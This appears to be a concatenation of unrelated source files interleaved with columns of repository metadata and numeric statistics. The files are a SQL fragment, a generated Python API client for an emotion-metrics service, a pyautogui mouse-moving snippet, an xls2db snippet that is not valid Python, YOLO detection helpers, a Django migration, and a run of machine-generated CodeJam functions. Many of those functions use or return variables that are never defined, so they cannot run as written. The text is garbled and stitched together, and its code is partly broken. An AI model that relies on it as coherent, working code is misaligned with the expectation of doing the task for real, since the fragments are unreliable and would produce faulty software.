INSERT OR IGNORE INTO pq_gateway SELECT pq_id, isbn, author, substr(title, 1, (length(title)-1)) FROM tmp_pq_gateway WHERE tmp_pq_gateway.pq_id!="Not found";
"""
retrieve_new_mrtarks="""
SELECT eschol_link, merritt_ark FROM escholfeed WHERE date(merritt_submit_date)=date('now');
"""
retrieve_new_eschol_links="""
select merritt_ingest.obj_title, merritt_ingest.obj_creator, merritt_ingest.obj_date, escholfeed.eschol_link from merritt_ingest, escholfeed where merritt_ingest.merritt_ark=escholfeed.merritt_ark and date(escholfeed.merritt_submit_date)=date('now');
"""
retrieve_new_eschol_links_ucb="""
select tmp_merritt_ark.title, tmp_merritt_ark.author, tmp_merritt_ark.date, escholfeed.eschol_link FROM tmp_merritt_ark, escholfeed WHERE escholfeed.merritt_ark=tmp_merritt_ark.merritt_ark
"""
| 131.25
| 1,720
| 0.792431
| 3,076
| 19,950
| 4.814044
| 0.058192
| 0.115005
| 0.037817
| 0.047272
| 0.80362
| 0.775662
| 0.766613
| 0.741829
| 0.736629
| 0.712318
| 0
| 0.008491
| 0.090877
| 19,950
| 151
| 1,721
| 132.119205
| 0.807962
| 0
| 0
| 0.368794
| 0
| 0.184397
| 0.948622
| 0.452531
| 0.049645
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
5cc6e47108b128ddc796d6a18c97f3d19b96c523
| 20,575
|
py
|
Python
|
crowdemotion_api_client_python/apis/metric_api.py
|
CrowdEmotion/crowdemotion-api-client-python
|
b5ec57030e36d2b2c32cc5a43b804d7a34401c16
|
[
"Apache-2.0"
] | 1
|
2018-06-14T05:12:54.000Z
|
2018-06-14T05:12:54.000Z
|
python/crowdemotion_api_client_python/apis/metric_api.py
|
CrowdEmotion/crowdemotion-api-clients-examples
|
9e4bd38279399e5694cf3cec6cc7fb0b3149bc39
|
[
"MIT"
] | null | null | null |
python/crowdemotion_api_client_python/apis/metric_api.py
|
CrowdEmotion/crowdemotion-api-clients-examples
|
9e4bd38279399e5694cf3cec6cc7fb0b3149bc39
|
[
"MIT"
] | null | null | null |
# coding: utf-8
"""
CloudEmotion API v1
CrowdEmotion API
OpenAPI spec version: 1.1.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from __future__ import absolute_import
import sys
import os
import re
# python 2 and python 3 compatibility library
from six import iteritems
from ..configuration import Configuration
from ..api_client import ApiClient
class MetricApi(object):
"""
NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
config = Configuration()
if api_client:
self.api_client = api_client
else:
if not config.api_client:
config.api_client = ApiClient()
self.api_client = config.api_client
def metric_get(self, **kwargs):
"""
List all registered metrics
<p>Metrics are linked to time-series and define their meaning.</p> <p>Common metric ID are listed below:</p> <table> <tr><td>id</td><td>Value</td></tr> <tr><td>1</td><td>Timestamp</td></tr> <tr><td>2</td><td>Neutral</td></tr> <tr><td>3</td><td>Happiness</td></tr> <tr><td>4</td><td>Surprise</td></tr> <tr><td>5</td><td>Puzzlement</td></tr> <tr><td>6</td><td>Disgust</td></tr> <tr><td>7</td><td>Fear</td></tr> <tr><td>8</td><td>Sadness</td></tr> </table> <p><strong>Permissions:</strong> ✗ Respondent ✗ Customer ✓ Manager</p>
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.metric_get(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int skip: The number of results to skip.
:param int limit: The maximum number of results to return.
:param str where: JSON formatted string condition.
:param str sort: Attribute used to sort results.
:return: list[Metric]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.metric_get_with_http_info(**kwargs)
else:
(data) = self.metric_get_with_http_info(**kwargs)
return data
def metric_get_with_http_info(self, **kwargs):
"""
List all registered metrics
<p>Metrics are linked to time-series and define their meaning.</p> <p>Common metric ID are listed below:</p> <table> <tr><td>id</td><td>Value</td></tr> <tr><td>1</td><td>Timestamp</td></tr> <tr><td>2</td><td>Neutral</td></tr> <tr><td>3</td><td>Happiness</td></tr> <tr><td>4</td><td>Surprise</td></tr> <tr><td>5</td><td>Puzzlement</td></tr> <tr><td>6</td><td>Disgust</td></tr> <tr><td>7</td><td>Fear</td></tr> <tr><td>8</td><td>Sadness</td></tr> </table> <p><strong>Permissions:</strong> ✗ Respondent ✗ Customer ✓ Manager</p>
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.metric_get_with_http_info(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int skip: The number of results to skip.
:param int limit: The maximum number of results to return.
:param str where: JSON formatted string condition.
:param str sort: Attribute used to sort results.
:return: list[Metric]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['skip', 'limit', 'where', 'sort']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method metric_get" % key
)
params[key] = val
del params['kwargs']
resource_path = '/metric'.replace('{format}', 'json')
path_params = {}
query_params = {}
if 'skip' in params:
query_params['skip'] = params['skip']
if 'limit' in params:
query_params['limit'] = params['limit']
if 'where' in params:
query_params['where'] = params['where']
if 'sort' in params:
query_params['sort'] = params['sort']
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json'])
# Authentication setting
auth_settings = ['api_key']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[Metric]',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def metric_metric_id_delete(self, metric_id, **kwargs):
"""
Delete a Metric
<p><strong>Permissions:</strong> ✗ Respondent ✗ Customer ✓ Manager</p>
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.metric_metric_id_delete(metric_id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int metric_id: ID of Metric to be deleted. (required)
:return: Metric
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.metric_metric_id_delete_with_http_info(metric_id, **kwargs)
else:
(data) = self.metric_metric_id_delete_with_http_info(metric_id, **kwargs)
return data
def metric_metric_id_delete_with_http_info(self, metric_id, **kwargs):
"""
Delete a Metric
<p><strong>Permissions:</strong> ✗ Respondent ✗ Customer ✓ Manager</p>
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.metric_metric_id_delete_with_http_info(metric_id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int metric_id: ID of Metric to be deleted. (required)
:return: Metric
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['metric_id']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method metric_metric_id_delete" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'metric_id' is set
if ('metric_id' not in params) or (params['metric_id'] is None):
raise ValueError("Missing the required parameter `metric_id` when calling `metric_metric_id_delete`")
resource_path = '/metric/{metric_id}'.replace('{format}', 'json')
path_params = {}
if 'metric_id' in params:
path_params['metric_id'] = params['metric_id']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json'])
# Authentication setting
auth_settings = ['api_key']
return self.api_client.call_api(resource_path, 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Metric',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def metric_metric_id_get(self, metric_id, **kwargs):
"""
Find a Metric
<p>Metrics are linked to time-series and define their meaning.</p> <p>Common metric ID are listed below:</p> <table> <tr><td>id</td><td>Value</td></tr> <tr><td>1</td><td>Timestamp</td></tr> <tr><td>2</td><td>Neutral</td></tr> <tr><td>3</td><td>Happiness</td></tr> <tr><td>4</td><td>Surprise</td></tr> <tr><td>5</td><td>Puzzlement</td></tr> <tr><td>6</td><td>Disgust</td></tr> <tr><td>7</td><td>Fear</td></tr> <tr><td>8</td><td>Sadness</td></tr> </table> <p><strong>Permissions:</strong> ✗ Respondent ✗ Customer ✓ Manager</p>
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.metric_metric_id_get(metric_id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int metric_id: ID of Metric to find. (required)
:return: Metric
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.metric_metric_id_get_with_http_info(metric_id, **kwargs)
else:
(data) = self.metric_metric_id_get_with_http_info(metric_id, **kwargs)
return data
def metric_metric_id_get_with_http_info(self, metric_id, **kwargs):
"""
Find a Metric
<p>Metrics are linked to time-series and define their meaning.</p> <p>Common metric ID are listed below:</p> <table> <tr><td>id</td><td>Value</td></tr> <tr><td>1</td><td>Timestamp</td></tr> <tr><td>2</td><td>Neutral</td></tr> <tr><td>3</td><td>Happiness</td></tr> <tr><td>4</td><td>Surprise</td></tr> <tr><td>5</td><td>Puzzlement</td></tr> <tr><td>6</td><td>Disgust</td></tr> <tr><td>7</td><td>Fear</td></tr> <tr><td>8</td><td>Sadness</td></tr> </table> <p><strong>Permissions:</strong> ✗ Respondent ✗ Customer ✓ Manager</p>
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.metric_metric_id_get_with_http_info(metric_id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int metric_id: ID of Metric to find. (required)
:return: Metric
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['metric_id']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method metric_metric_id_get" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'metric_id' is set
if ('metric_id' not in params) or (params['metric_id'] is None):
raise ValueError("Missing the required parameter `metric_id` when calling `metric_metric_id_get`")
resource_path = '/metric/{metric_id}'.replace('{format}', 'json')
path_params = {}
if 'metric_id' in params:
path_params['metric_id'] = params['metric_id']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json'])
# Authentication setting
auth_settings = ['api_key']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Metric',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def metric_post(self, body, **kwargs):
"""
Create Metric
<p><strong>Permissions:</strong> ✗ Respondent ✗ Customer ✓ Manager</p>
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.metric_post(body, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param MetricCreation body: Request body (required)
:return: Metric
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.metric_post_with_http_info(body, **kwargs)
else:
(data) = self.metric_post_with_http_info(body, **kwargs)
return data
def metric_post_with_http_info(self, body, **kwargs):
"""
Create Metric
<p><strong>Permissions:</strong> ✗ Respondent ✗ Customer ✓ Manager</p>
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.metric_post_with_http_info(body, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param MetricCreation body: Request body (required)
:return: Metric
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['body']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method metric_post" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'body' is set
if ('body' not in params) or (params['body'] is None):
raise ValueError("Missing the required parameter `body` when calling `metric_post`")
resource_path = '/metric'.replace('{format}', 'json')
path_params = {}
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json'])
# Authentication setting
auth_settings = ['api_key']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Metric',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
| 43.043933
| 550
| 0.568019
| 2,366
| 20,575
| 4.778107
| 0.101437
| 0.038213
| 0.016984
| 0.022645
| 0.894383
| 0.87908
| 0.878019
| 0.863777
| 0.850862
| 0.850862
| 0
| 0.003099
| 0.325541
| 20,575
| 477
| 551
| 43.134172
| 0.809829
| 0.42469
| 0
| 0.731481
| 1
| 0
| 0.143032
| 0.031492
| 0
| 0
| 0
| 0
| 0
| 1
| 0.041667
| false
| 0
| 0.032407
| 0
| 0.134259
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
7a7a6c57db89b140a0f798d1322f3c53548d4b7c
| 234
|
py
|
Python
|
myproject.py
|
Mujtaba33/Remote-excess-
|
c029dc9905698e890cc1c5049a8a83ef2279b48f
|
[
"MIT"
] | null | null | null |
myproject.py
|
Mujtaba33/Remote-excess-
|
c029dc9905698e890cc1c5049a8a83ef2279b48f
|
[
"MIT"
] | null | null | null |
myproject.py
|
Mujtaba33/Remote-excess-
|
c029dc9905698e890cc1c5049a8a83ef2279b48f
|
[
"MIT"
] | null | null | null |
>>> import pyautogui
>>> for i in range(10):
pyautogui.moveRel(100, 0, duration=0.25)
pyautogui.moveRel(0, 100, duration=0.25)
pyautogui.moveRel(-100, 0, duration=0.25)
pyautogui.moveRel(0, -100, duration=0.25)
| 39
| 47
| 0.649573
| 35
| 234
| 4.342857
| 0.342857
| 0.421053
| 0.289474
| 0.394737
| 0.815789
| 0.815789
| 0.815789
| 0.815789
| 0.815789
| 0.815789
| 0
| 0.157068
| 0.183761
| 234
| 6
| 48
| 39
| 0.638743
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.166667
| null | null | 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
7a8b840e70b206c8c0d4a926c5a79a0450279452
| 146
|
py
|
Python
|
python-experiments/excel_to_sqlite.py
|
stambuk-cl/Python-repo
|
eacc4610b53c55886e897d5191585bb5b8440eb4
|
[
"MIT"
] | null | null | null |
python-experiments/excel_to_sqlite.py
|
stambuk-cl/Python-repo
|
eacc4610b53c55886e897d5191585bb5b8440eb4
|
[
"MIT"
] | null | null | null |
python-experiments/excel_to_sqlite.py
|
stambuk-cl/Python-repo
|
eacc4610b53c55886e897d5191585bb5b8440eb4
|
[
"MIT"
] | null | null | null |
#Install pip installxls2db
#Script version
xls2db infile.xls outfile.db
#From python
from xls2db import xls2db
xls2db("infile.xls","outfile.db")
| 18.25
| 33
| 0.794521
| 21
| 146
| 5.52381
| 0.619048
| 0.206897
| 0.258621
| 0.37931
| 0.413793
| 0
| 0
| 0
| 0
| 0
| 0
| 0.038462
| 0.109589
| 146
| 8
| 33
| 18.25
| 0.853846
| 0.342466
| 0
| 0
| 0
| 0
| 0.212766
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.333333
| null | null | 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
7ab7bf72c470772d37854c7cf952236765eeaa08
| 2,329
|
py
|
Python
|
model/dection.py
|
cersar/BasicNetwork
|
119ebb745e67a9b74b72cc4635fea360db0ed43f
|
[
"MIT"
] | 4
|
2019-01-02T07:54:51.000Z
|
2019-01-04T06:11:15.000Z
|
model/dection.py
|
cersar/BasicNetwork
|
119ebb745e67a9b74b72cc4635fea360db0ed43f
|
[
"MIT"
] | null | null | null |
model/dection.py
|
cersar/BasicNetwork
|
119ebb745e67a9b74b72cc4635fea360db0ed43f
|
[
"MIT"
] | null | null | null |
from util.dection_util import show_dection
import tensorflow as tf
from util.data_util import load_data,preprocess_data
import time
def dectionYolov1(net,path,labels,weights_file):
with net.as_default():
saver = tf.train.Saver()
with tf.Session() as sess:
saver.restore(sess, weights_file)
start = time.time()
image_data = load_data(path)
X = preprocess_data(image_data)
end = time.time()
print("image load time {:.2f}".format(end - start))
start1 = time.time()
x = net.get_collection('input')[0]['x']
y_hat = net.get_collection('output')[0]['y_hat']
probes, confs, boxes = sess.run(y_hat, feed_dict={x: X})
end1 = time.time()
print("forward time {:.2f}".format(end1 - start1))
start2 = time.time()
show_dection(image_data, probes, confs, boxes,labels)
end2 = time.time()
print("show dection time {:.2f}".format(end2 - start2))
end = time.time()
print("dect {} iamges, total time {:.2f}".format(len(image_data),end-start))
def dectionYolov2(net,path,labels,anchors,weights_file):
with net.as_default():
saver = tf.train.Saver()
with tf.Session() as sess:
saver.restore(sess, weights_file)
start = time.time()
image_data = load_data(path)
X = preprocess_data(image_data,target_size=(608, 608))
end = time.time()
print("image load time {:.2f}".format(end - start))
start1 = time.time()
x = net.get_collection('input')[0]['x']
anchors_input = net.get_collection('input')[0]['anchors']
y_hat = net.get_collection('output')[0]['y_hat']
probes, confs, boxes = sess.run(y_hat, feed_dict={x: X,anchors_input:anchors})
end1 = time.time()
print("forward time {:.2f}".format(end1 - start1))
start2 = time.time()
show_dection(image_data, probes, confs, boxes,labels,version='yolov2')
end2 = time.time()
print("show dection time {:.2f}".format(end2 - start2))
end = time.time()
print("dect {} iamges, total time {:.2f}".format(len(image_data),end-start))
| 43.943396
| 90
| 0.572349
| 292
| 2,329
| 4.424658
| 0.212329
| 0.086687
| 0.080495
| 0.049536
| 0.812694
| 0.795666
| 0.795666
| 0.795666
| 0.795666
| 0.795666
| 0
| 0.022837
| 0.28553
| 2,329
| 53
| 91
| 43.943396
| 0.753606
| 0
| 0
| 0.734694
| 0
| 0
| 0.106438
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.040816
| false
| 0
| 0.081633
| 0
| 0.122449
| 0.163265
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
7ab9b80562f1d3c455b6d2f5eb2ee4a14abf42e7
| 1,831
|
py
|
Python
|
layerserver/migrations/0031_auto_20190416_1503.py
|
aroiginfraplan/giscube-admin
|
b7f3131b0186f847f3902df97f982cb288b16a49
|
[
"BSD-3-Clause"
] | 5
|
2018-06-07T12:54:35.000Z
|
2022-01-14T10:38:38.000Z
|
layerserver/migrations/0031_auto_20190416_1503.py
|
aroiginfraplan/giscube-admin
|
b7f3131b0186f847f3902df97f982cb288b16a49
|
[
"BSD-3-Clause"
] | 140
|
2018-06-18T10:27:28.000Z
|
2022-03-23T09:53:15.000Z
|
layerserver/migrations/0031_auto_20190416_1503.py
|
aroiginfraplan/giscube-admin
|
b7f3131b0186f847f3902df97f982cb288b16a49
|
[
"BSD-3-Clause"
] | 1
|
2021-04-13T11:20:54.000Z
|
2021-04-13T11:20:54.000Z
|
# Generated by Django 2.1.7 on 2019-04-16 15:03
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('layerserver', '0030_auto_20190411_0621'),
]
operations = [
migrations.AlterField(
model_name='databaselayer',
name='fill_opacity',
field=models.CharField(blank=True, default='1', max_length=50, null=True),
),
migrations.AlterField(
model_name='databaselayer',
name='shape_radius',
field=models.CharField(blank=True, max_length=50, null=True),
),
migrations.AlterField(
model_name='databaselayer',
name='stroke_dash_array',
field=models.CharField(blank=True, default='', max_length=50, null=True),
),
migrations.AlterField(
model_name='databaselayer',
name='stroke_width',
field=models.CharField(blank=True, default='1', max_length=50, null=True),
),
migrations.AlterField(
model_name='geojsonlayer',
name='fill_opacity',
field=models.CharField(blank=True, default='1', max_length=50, null=True),
),
migrations.AlterField(
model_name='geojsonlayer',
name='shape_radius',
field=models.CharField(blank=True, max_length=50, null=True),
),
migrations.AlterField(
model_name='geojsonlayer',
name='stroke_dash_array',
field=models.CharField(blank=True, default='', max_length=50, null=True),
),
migrations.AlterField(
model_name='geojsonlayer',
name='stroke_width',
field=models.CharField(blank=True, default='1', max_length=50, null=True),
),
]
| 33.907407
| 86
| 0.586019
| 185
| 1,831
| 5.643243
| 0.259459
| 0.153257
| 0.191571
| 0.222222
| 0.85249
| 0.85249
| 0.812261
| 0.812261
| 0.812261
| 0.812261
| 0
| 0.039261
| 0.290552
| 1,831
| 53
| 87
| 34.54717
| 0.764434
| 0.024577
| 0
| 0.851064
| 1
| 0
| 0.136771
| 0.012892
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.021277
| 0
| 0.085106
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
8f90868427dd738eccda56d28bac111a42e0f5c0
| 358,510
|
py
|
Python
|
projects/src/main/python/CodeJam/Y14R5P1/smapson/generated_py_823a8eb6f0a9434aa5d7f8090b83b4a2.py
|
DynamicCodeSearch/CodeSeer
|
ee985ece7691691585952eb88565f0e08bdc9113
|
[
"MIT"
] | 5
|
2020-04-05T18:04:13.000Z
|
2021-04-13T20:34:19.000Z
|
projects/src/main/python/CodeJam/Y14R5P1/smapson/generated_py_823a8eb6f0a9434aa5d7f8090b83b4a2.py
|
DynamicCodeSearch/CodeSeer
|
ee985ece7691691585952eb88565f0e08bdc9113
|
[
"MIT"
] | 1
|
2020-04-29T21:42:26.000Z
|
2020-05-01T23:45:45.000Z
|
projects/src/main/python/CodeJam/Y14R5P1/smapson/generated_py_823a8eb6f0a9434aa5d7f8090b83b4a2.py
|
DynamicCodeSearch/CodeSeer
|
ee985ece7691691585952eb88565f0e08bdc9113
|
[
"MIT"
] | 3
|
2020-01-27T16:02:14.000Z
|
2021-02-08T13:25:15.000Z
|
import sys
sys.path.append('/home/george2/Raise/ProgramRepair/CodeSeer/projects/src/main/python')
from CodeJam.Y14R5P1.smapson.A import *
def func_975f2f69d9be431185c939abecb8443e(transistors):
firstsum += transistors[first]
first += 1
return firstsum
def func_0406ef77134f4588ae52c6a86733dac1(transistors):
firstsum += transistors[first]
first += 1
return first
def func_a65101ff32e44729a8ed6dec498a8b7b(transistors):
last -= 1
lastsum += transistors[last]
return last
def func_a4f427727ad64af2a5ddcb97f1995bed(transistors):
last -= 1
lastsum += transistors[last]
return lastsum
def func_394d43e3f4444269bbc4dc89407807a9(lastsum, first, transistors, last,
firstsum):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
return nextfirstsum
def func_c2cb1538e64a43288e9c35458236c050(lastsum, first, transistors, last,
firstsum):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
return nextlastsum
def func_70baa1957ffb4b4fad40e997fd1c87c6(nextfirstsum, transistors):
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
return last
def func_3832962b90ce461a844875a542115165(nextfirstsum, transistors):
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
return firstsum
def func_dc2eaeb46467434884aa069316cac49c(nextfirstsum, transistors):
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
return nextlastsum
def func_62f25bf96f2a44dd9844d10e226693ff(nextfirstsum, transistors):
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
return first
def func_6d0b1cf931ce47459da58f1400af3bf3(nextfirstsum, transistors):
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
return lastsum
def func_95645cfdb62c4b8fa49a0c9b83841399(nextfirstsum, transistors,
transistorsum, nextlastsum):
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
return first
def func_e2d394dd3150444ab965b31839d08a46(nextfirstsum, transistors,
transistorsum, nextlastsum):
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
return lastsum
def func_e46a3cc7be4e4460957b2ab857e8532f(nextfirstsum, transistors,
transistorsum, nextlastsum):
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
return last
def func_932554b2174747d5bbb8a32879e21c31(nextfirstsum, transistors,
transistorsum, nextlastsum):
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
return currentmax
def func_2905ceeddc524db98d85295d56ca0855(nextfirstsum, transistors,
transistorsum, nextlastsum):
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
return firstsum
def func_604e247e7abc40a8b094bcf888bd8a08(lastsum, transistorsum, firstsum):
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return minimax
def func_db0315d0b09846d8aab468cfdbede918(lastsum, transistorsum, firstsum):
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return currentmax
def func_fa601000b0694ba2949c38c9c50a307f(transistors):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
return lastsum
def func_45c856d60293423e948518fc879a77eb(transistors):
